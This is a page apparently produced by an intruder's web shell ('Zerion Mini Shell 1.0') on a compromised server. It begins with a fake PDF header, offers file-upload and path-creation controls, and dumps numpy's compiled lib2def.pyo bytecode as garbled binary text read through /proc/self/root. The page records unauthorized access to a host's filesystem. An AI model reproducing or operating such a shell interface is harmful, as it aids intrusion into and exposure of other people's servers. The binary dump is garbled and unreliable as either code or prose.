%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/lib2def.pyo

�
�9Zc@`s}ddlmZmZmZddlZddlZddlZddlZdZdZ	de
ejd �ZdZ
deZejd	eej�Zejd
eej�Zd�Zdd
degd�Zd�Zejd�Zedkrye�\ZZedkrejZneed�Zee
�ee�gZee�Zee�\Z Z!ee e!ee�ndS(i(tdivisiontabsolute_importtprint_functionNs�This module generates a DEF file from the symbols in
an MSVC-compiled DLL import library.  It correctly discriminates between
data and functions.  The data is collected from the output of the program
nm(1).

Usage:
    python lib2def.py [libname.lib] [output.def]
or
    python lib2def.py [libname.lib] > output.def

libname.lib defaults to python<py_ver>.lib and output.def defaults to stdout

Author: Robert Kern <kernr@mail.ncifcrf.gov>
Last Update: April 30, 1999
s0.1as%d%disnm -CssrLIBRARY         python%s.dll
;CODE           PRELOAD MOVEABLE DISCARDABLE
;DATA           PRELOAD SINGLE

EXPORTS
s^(.*) in python%s\.dlls^_imp__(.*) in python%s\.dllcC`sDttj�dkr�tjdddkrYtjdddkrYtjd\}}q:tjdddkr�tjdddkr�tjd\}}q:td�td�n�ttj�dkr*tjdddkr�tjd}d	t}q:tjdddkr:d
}tjd}q:nd	t}d
}||fS(sBParses the command-line arguments.

libfile, deffile = parse_cmd()iii����s.libis.defs4I'm assuming that your first argument is the librarysand the second is the DEF file.spython%s.libN(tlentsystargvtprinttpy_vertNone(tlibfiletdeffile((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/lib2def.pyt	parse_cmd)s"..




tnms-Csspython%s.libcC`sDtj|dtdtjdt�}|jj�}|jj�|S(sVReturns the output of nm_cmd via a pipe.

nm_output = getnam(nm_cmd = 'nm -Cs py_lib')tshelltstdouttuniversal_newlines(t
subprocesstPopentTruetPIPERtreadtclose(tnm_cmdtft	nm_output((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/lib2def.pytgetnmAs$
cC`s�tj|�}tj|�}g}xZ|D]R}||kr+|d dksm|d dksm|d dkr+|j|�q+q+Wg}xJ|D]B}||kr�|d dks�|d dkr�|j|�q�q�W|j�|j�||fS(s�Returns a tuple of lists: dlist for the list of data
symbols and flist for the list of function symbols.

dlist, flist = parse_nm(nm_output)itPyit_Pyitinit(tDATA_REtfindalltFUNC_REtappendtsort(Rtdatatfunctflisttsymtdlist((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/lib2def.pytparse_nmJs
<
,

cC`sYx|D]}|d|}qW|d}x|D]}|d|}q0W|j|�dS(soOutputs the final DEF file to a file defaulting to stdout.

output_def(dlist, flist, header, file = sys.stdout)s		%s DATA
s
s	%s
N(twrite(R&R$theadertfiletdata_symtfunc_sym((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/lib2def.pyt
output_def`s


t__main__tw("t
__future__RRRtreRtosRt__doc__t__version__ttupletversion_infoRt
DEFAULT_NMt
DEF_HEADERtcompilet	MULTILINERRRRR'RR-t__name__R	R
RtopentstrRRR&R$(((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/distutils/lib2def.pyt<module>s0
			

Zerion Mini Shell 1.0